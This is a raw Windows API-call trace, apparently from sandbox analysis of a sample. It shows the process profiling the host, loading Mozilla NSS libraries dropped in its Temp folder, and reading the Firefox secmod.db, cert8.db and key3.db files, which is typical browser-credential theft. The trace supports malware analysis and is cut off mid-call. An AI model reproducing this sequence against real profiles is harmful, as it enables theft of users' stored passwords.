[0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.935] SetLastError (dwErrCode=0x0) [0118.935] GetLastError () returned 0x0 [0118.936] GetSystemInfo (in: lpSystemInfo=0x3ffab4 | out: lpSystemInfo=0x3ffab4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0118.936] GetLastError () returned 0x7f [0118.937] CreateSemaphoreA (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=1, lpName=0x0) returned 0x68 [0118.938] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0118.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x73bdc59c, lpParameter=0x2932e0, dwCreationFlags=0x4, lpThreadId=0x2931e0 | out: lpThreadId=0x2931e0*=0xa10) returned 0x6c [0118.938] ResumeThread (hThread=0x6c) returned 0x1 [0118.939] GetLastError () returned 0x0 [0118.939] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0118.939] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0118.939] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0118.940] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x3ff904 | out: lpWSAData=0x3ff904) returned 0 [0118.953] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x84 [0118.953] GetVersionExA (in: lpVersionInformation=0x3ff864*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x29e918, dwMinorVersion=0x78000, dwBuildNumber=0x297430, dwPlatformId=0xc, szCSDVersion="¬ù?") | out: lpVersionInformation=0x3ff864*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0118.953] GetLogicalDriveStringsA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0118.953] GetLogicalDriveStringsA (in: nBufferLength=0x82, lpBuffer=0x3ff7b8 | out: lpBuffer="C:\\") returned 0x4 [0118.953] SetErrorMode (uMode=0x1) returned 0x0 [0118.953] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0118.953] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x3ff7b0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ff7b0*=0xfcdf19fa, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.953] lstrlenA (lpString="C:\\") returned 3 [0118.953] SetErrorMode (uMode=0x0) returned 0x1 [0118.954] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0118.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x73bdc59c, lpParameter=0x29fd68, dwCreationFlags=0x4, lpThreadId=0x29fc38 | out: lpThreadId=0x29fc38*=0xa14) returned 0x88 [0118.954] SetThreadPriority (hThread=0x88, nPriority=2) returned 1 [0118.954] ResumeThread (hThread=0x88) returned 0x1 [0118.954] GetCurrentProcess () returned 0xffffffff [0118.954] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ff44c | out: TokenHandle=0x3ff44c*=0x8c) returned 1 [0118.954] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x4, TokenInformation=0x3ff450, TokenInformationLength=0x400, ReturnLength=0x3ff448 | out: TokenInformation=0x3ff450, ReturnLength=0x3ff448) returned 1 [0118.954] GetLengthSid (pSid=0x3ff454*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0118.955] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x29ff88, pSourceSid=0x3ff454*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4)) | out: pDestinationSid=0x29ff88*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 1 [0118.955] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x5, TokenInformation=0x3ff450, TokenInformationLength=0x400, ReturnLength=0x3ff448 | out: TokenInformation=0x3ff450, ReturnLength=0x3ff448) returned 1 [0118.955] GetLengthSid (pSid=0x3ff454*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0118.955] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x29ffb0, pSourceSid=0x3ff454*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4)) | out: pDestinationSid=0x29ffb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 1 [0118.955] CloseHandle (hObject=0x8c) returned 1 [0118.955] AllocateAndInitializeSid (in: pIdentifierAuthority=0x3ff850, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x740c0298 | out: pSid=0x740c0298*=0x691d28*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0118.955] GetLastError () returned 0x0 [0118.955] CreateFiber (dwStackSize=0x0, lpStartAddress=0x740b4660, lpParameter=0x0) returned 0x69a0c0 [0118.956] PostQueuedCompletionStatus (CompletionPort=0x84, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0xbbbbbbbb, lpOverlapped=0x580974) returned 1 [0118.956] GetLastError () returned 0x0 [0118.957] CreateFileA (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\okguaxb.crt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, hTemplateFile=0x0) returned 0x8c [0118.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x736e66ec, cbMultiByte=-1, lpWideCharStr=0x3ff734, cchWideChar=260 | out: lpWideCharStr="nss3.dll") returned 9 [0118.965] GetModuleHandleW (lpModuleName="nss3.dll") returned 0x73640000 [0118.966] GetModuleFileNameW (in: hModule=0x73640000, lpFilename=0x3ff52c, nSize=0x104 | out: lpFilename="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nss3.dll")) returned 0x2d [0118.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0118.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll", cchWideChar=-1, lpMultiByteStr=0x581f18, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll", lpUsedDefaultChar=0x0) returned 46 [0118.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29f438, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0118.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29f438, cbMultiByte=-1, lpWideCharStr=0x3ff704, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll") returned 50 [0118.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0118.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", cchWideChar=-1, lpMultiByteStr=0x3ff600, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", lpUsedDefaultChar=0x0) returned 50 [0118.967] LoadLibraryExW (lpLibFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", hFile=0x0, dwFlags=0x8) returned 0x74040000 [0118.987] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.987] DisableThreadLibraryCalls (hLibModule=0x73b10000) returned 1 [0118.987] DisableThreadLibraryCalls (hLibModule=0x74040000) returned 1 [0118.987] GetProcAddress (hModule=0x74040000, lpProcName="NSC_GetFunctionList") returned 0x74047890 [0118.988] GetProcAddress (hModule=0x74040000, lpProcName="NSC_ModuleDBFunc") returned 0x74047d40 [0118.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7406595c, cbMultiByte=-1, lpWideCharStr=0x3fef00, cchWideChar=260 | out: lpWideCharStr="softokn3.dll") returned 13 [0119.036] GetModuleHandleW (lpModuleName="softokn3.dll") returned 0x74040000 [0119.036] GetModuleFileNameW (in: hModule=0x74040000, lpFilename=0x3fecf8, nSize=0x104 | out: lpFilename="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\softokn3.dll")) returned 0x31 [0119.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0119.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", cchWideChar=-1, lpMultiByteStr=0x2932e0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", lpUsedDefaultChar=0x0) returned 50 [0119.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29f438, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0119.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29f438, cbMultiByte=-1, lpWideCharStr=0x3feec8, cchWideChar=49 | out: lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll") returned 49 [0119.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0119.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll", cchWideChar=-1, lpMultiByteStr=0x3fedc4, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll", lpUsedDefaultChar=0x0) returned 49 [0119.036] LoadLibraryExW (lpLibFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll", hFile=0x0, dwFlags=0x0) returned 0x74020000 [0119.052] DisableThreadLibraryCalls (hLibModule=0x74020000) returned 1 [0119.052] GetProcAddress (hModule=0x74020000, lpProcName="legacy_Open") returned 0x740297b0 [0119.052] GetProcAddress (hModule=0x74020000, lpProcName="legacy_ReadSecmodDB") returned 0x74032f20 [0119.052] GetProcAddress (hModule=0x74020000, lpProcName="legacy_ReleaseSecmodDBData") returned 0x74032b50 [0119.052] GetProcAddress (hModule=0x74020000, lpProcName="legacy_DeleteSecmodDB") returned 0x74032b90 [0119.052] GetProcAddress (hModule=0x74020000, lpProcName="legacy_AddSecmodDB") returned 0x74032d30 [0119.052] GetProcAddress (hModule=0x74020000, lpProcName="legacy_Shutdown") returned 0x74029420 [0119.053] GetProcAddress (hModule=0x74020000, lpProcName="legacy_SetCryptFunctions") returned 0x74029ed0 [0119.053] GetLastError () returned 0x0 [0119.053] FindFirstFileExA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/secmod.db", fInfoLevelId=0x0, lpFindFileData=0x3fee1c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x0 | out: lpFindFileData=0x3fee1c) returned 0x69a5f0 [0119.053] FileTimeToLocalFileTime (in: lpFileTime=0x3fee30, lpLocalFileTime=0x3fee10 | out: lpLocalFileTime=0x3fee10) returned 1 [0119.054] FileTimeToSystemTime (in: lpFileTime=0x3fee10, lpSystemTime=0x3fef5c | out: lpSystemTime=0x3fef5c) returned 1 [0119.054] GetLastError () returned 0x0 [0119.054] GetTimeZoneInformation (in: lpTimeZoneInformation=0x73c35de8 | out: lpTimeZoneInformation=0x73c35de8) returned 0x2 [0119.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Iran Standard Time", cchWideChar=-1, lpMultiByteStr=0x73c342b8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x3fed24 | out: lpMultiByteStr="Iran Standard Time", lpUsedDefaultChar=0x3fed24) returned 19 [0119.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Iran Daylight Time", cchWideChar=-1, lpMultiByteStr=0x73c342f8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x3fed24 | out: lpMultiByteStr="Iran Daylight Time", lpUsedDefaultChar=0x3fed24) returned 19 [0119.059] FileTimeToLocalFileTime (in: lpFileTime=0x3fee28, lpLocalFileTime=0x3fee10 | out: lpLocalFileTime=0x3fee10) returned 1 [0119.059] FileTimeToSystemTime (in: lpFileTime=0x3fee10, lpSystemTime=0x3fef5c | out: lpSystemTime=0x3fef5c) returned 1 [0119.059] FileTimeToLocalFileTime (in: lpFileTime=0x3fee20, lpLocalFileTime=0x3fee10 | out: lpLocalFileTime=0x3fee10) returned 1 [0119.059] FileTimeToSystemTime (in: lpFileTime=0x3fee10, lpSystemTime=0x3fef5c | out: lpSystemTime=0x3fef5c) returned 1 [0119.059] FindClose (in: hFindFile=0x69a5f0 | out: hFindFile=0x69a5f0) returned 1 [0119.059] GetLastError () returned 0x0 [0119.059] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/secmod.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\secmod.db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3feff0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0119.059] GetFileType (hFile=0x9c) returned 0x1 [0119.059] ReadFile (in: hFile=0x9c, lpBuffer=0x582138, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x3ff014, lpOverlapped=0x0 | out: lpBuffer=0x582138*, lpNumberOfBytesRead=0x3ff014*=0x104, lpOverlapped=0x0) returned 1 [0119.060] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0119.060] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1000 [0119.060] ReadFile (in: hFile=0x9c, lpBuffer=0x582b38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ff02c, lpOverlapped=0x0 | out: lpBuffer=0x582b38*, lpNumberOfBytesRead=0x3ff02c*=0x1000, lpOverlapped=0x0) returned 1 [0119.060] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0119.060] SetFilePointer (in: hFile=0x9c, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0119.060] ReadFile (in: hFile=0x9c, lpBuffer=0x583b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ff02c, lpOverlapped=0x0 | out: lpBuffer=0x583b40*, lpNumberOfBytesRead=0x3ff02c*=0x1000, lpOverlapped=0x0) returned 1 [0119.062] CloseHandle (hObject=0x9c) returned 1 [0119.063] GetModuleHandleW (lpModuleName="softokn3.dll") returned 0x74040000 [0119.063] GetModuleFileNameW (in: hModule=0x74040000, lpFilename=0x3ff460, nSize=0x104 | out: lpFilename="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\softokn3.dll")) returned 0x31 [0119.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0119.063] LoadLibraryExW (lpLibFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\freebl3.dll", hFile=0x0, dwFlags=0x0) returned 0x73f00000 [0119.085] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0119.085] DisableThreadLibraryCalls (hLibModule=0x73f00000) returned 1 [0119.086] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77280000 [0119.086] GetProcAddress (hModule=0x77280000, lpProcName="SystemFunction036") returned 0x77281919 [0119.086] SystemFunction036 (in: RandomBuffer=0x3ff834, RandomBufferLength=0x6e | out: RandomBuffer=0x3ff834) returned 1 [0119.086] FreeLibrary (hLibModule=0x77280000) returned 1 [0119.086] QueryPerformanceCounter (in: lpPerformanceCount=0x3ff64c | out: lpPerformanceCount=0x3ff64c*=576064811) returned 1 [0119.086] GetTickCount () returned 0x24a77 [0119.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ff624 | out: lpSystemTimeAsFileTime=0x3ff624*(dwLowDateTime=0x3d7f46b0, dwHighDateTime=0x1d31ac1)) [0119.086] GlobalMemoryStatus (in: lpBuffer=0x3ff684 | out: lpBuffer=0x3ff684) [0119.086] GetLogicalDrives () returned 0x4 [0119.087] GetComputerNameA (in: lpBuffer=0x3ff6a4, nSize=0x3ff660 | out: lpBuffer="AUFDDCNTXWT", nSize=0x3ff660) returned 1 [0119.087] GetCurrentProcess () returned 0xffffffff [0119.087] GetCurrentProcessId () returned 0x8e8 [0119.087] GetCurrentThreadId () returned 0x8ec [0119.087] GetVolumeInformationA (in: lpRootPathName=0x0, lpVolumeNameBuffer=0x3ff7a4, nVolumeNameSize=0x80, lpVolumeSerialNumber=0x3ff680, lpMaximumComponentLength=0x3ff670, lpFileSystemFlags=0x3ff67c, lpFileSystemNameBuffer=0x3ff6a4, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x3ff680*=0xfcdf19fa, lpMaximumComponentLength=0x3ff670*=0xff, lpFileSystemFlags=0x3ff67c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0119.087] GetDiskFreeSpaceA (in: lpRootPathName=0x0, lpSectorsPerCluster=0x3ff664, lpBytesPerSector=0x3ff668, lpNumberOfFreeClusters=0x3ff66c, lpTotalNumberOfClusters=0x3ff674 | out: lpSectorsPerCluster=0x3ff664, lpBytesPerSector=0x3ff668, lpNumberOfFreeClusters=0x3ff66c, lpTotalNumberOfClusters=0x3ff674) returned 1 [0119.088] QueryPerformanceCounter (in: lpPerformanceCount=0x3ff64c | out: lpPerformanceCount=0x3ff64c*=576070079) returned 1 [0119.088] GetTickCount () returned 0x24a77 [0119.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ff624 | out: lpSystemTimeAsFileTime=0x3ff624*(dwLowDateTime=0x3d7f46b0, dwHighDateTime=0x1d31ac1)) [0119.089] FindFirstFileExA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/cert8.db", fInfoLevelId=0x0, lpFindFileData=0x3ff3fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x0 | out: lpFindFileData=0x3ff3fc) returned 0x69a5f0 [0119.089] FileTimeToLocalFileTime (in: lpFileTime=0x3ff410, lpLocalFileTime=0x3ff3f0 | out: lpLocalFileTime=0x3ff3f0) returned 1 [0119.089] FileTimeToSystemTime (in: lpFileTime=0x3ff3f0, lpSystemTime=0x3ff53c | out: lpSystemTime=0x3ff53c) returned 1 [0119.089] FileTimeToLocalFileTime (in: lpFileTime=0x3ff408, lpLocalFileTime=0x3ff3f0 | out: lpLocalFileTime=0x3ff3f0) returned 1 [0119.089] FileTimeToSystemTime (in: lpFileTime=0x3ff3f0, lpSystemTime=0x3ff53c | out: lpSystemTime=0x3ff53c) returned 1 [0119.089] FileTimeToLocalFileTime (in: lpFileTime=0x3ff400, lpLocalFileTime=0x3ff3f0 | out: lpLocalFileTime=0x3ff3f0) returned 1 [0119.089] FileTimeToSystemTime (in: lpFileTime=0x3ff3f0, lpSystemTime=0x3ff53c | out: lpSystemTime=0x3ff53c) returned 1 [0119.089] FindClose (in: hFindFile=0x69a5f0 | out: hFindFile=0x69a5f0) returned 1 [0119.089] GetLastError () returned 0xcb [0119.089] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/cert8.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x3ff5d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0119.090] GetFileType (hFile=0xc0) returned 0x1 [0119.090] ReadFile (in: hFile=0xc0, lpBuffer=0x59d138, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x3ff5f4, lpOverlapped=0x0 | out: lpBuffer=0x59d138*, lpNumberOfBytesRead=0x3ff5f4*=0x104, lpOverlapped=0x0) returned 1 [0119.090] ReadFile (in: hFile=0xc0, lpBuffer=0x59ebb0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x3ff560, lpOverlapped=0x0 | out: lpBuffer=0x59ebb0*, lpNumberOfBytesRead=0x3ff560*=0x4000, lpOverlapped=0x0) returned 1 [0119.091] FindFirstFileExA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/key3.db", fInfoLevelId=0x0, lpFindFileData=0x3ff448, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x0 | out: lpFindFileData=0x3ff448) returned 0x69a5f0 [0119.091] FileTimeToLocalFileTime (in: lpFileTime=0x3ff45c, lpLocalFileTime=0x3ff43c | out: lpLocalFileTime=0x3ff43c) returned 1 [0119.091] FileTimeToSystemTime (in: lpFileTime=0x3ff43c, lpSystemTime=0x3ff588 | out: lpSystemTime=0x3ff588) returned 1 [0119.091] FileTimeToLocalFileTime (in: lpFileTime=0x3ff454, lpLocalFileTime=0x3ff43c | out: lpLocalFileTime=0x3ff43c) returned 1 [0119.091] FileTimeToSystemTime (in: lpFileTime=0x3ff43c, lpSystemTime=0x3ff588 | out: lpSystemTime=0x3ff588) returned 1 [0119.091] FileTimeToLocalFileTime (in: lpFileTime=0x3ff44c, lpLocalFileTime=0x3ff43c | out: lpLocalFileTime=0x3ff43c) returned 1 [0119.091] FileTimeToSystemTime (in: lpFileTime=0x3ff43c, lpSystemTime=0x3ff588 | out: lpSystemTime=0x3ff588) returned 1 [0119.091] FindClose (in: hFindFile=0x69a5f0 | out: hFindFile=0x69a5f0) returned 1 [0119.091] GetLastError () returned 0x0 [0119.091] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default/key3.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 